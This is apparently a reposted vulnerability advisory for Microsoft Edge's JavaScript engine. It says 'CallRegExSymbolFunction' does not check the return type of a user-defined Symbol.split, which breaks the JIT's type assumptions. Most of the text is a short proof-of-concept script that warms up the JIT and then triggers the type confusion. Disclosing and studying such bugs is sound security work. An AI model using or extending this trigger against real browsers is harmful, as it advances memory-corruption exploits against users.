The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.
Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.
PoC:
```
function opt(r) {
let arr = 'a'.split(r);
arr.x = 1;
return arr;
}
function main() {
let a = {
[Symbol.split]() {
return 0x1234;
}
};
for (let i = 0; i < 0x10000; i++) {
opt(a);
}
opt(a);
}
main();
```
暂无评论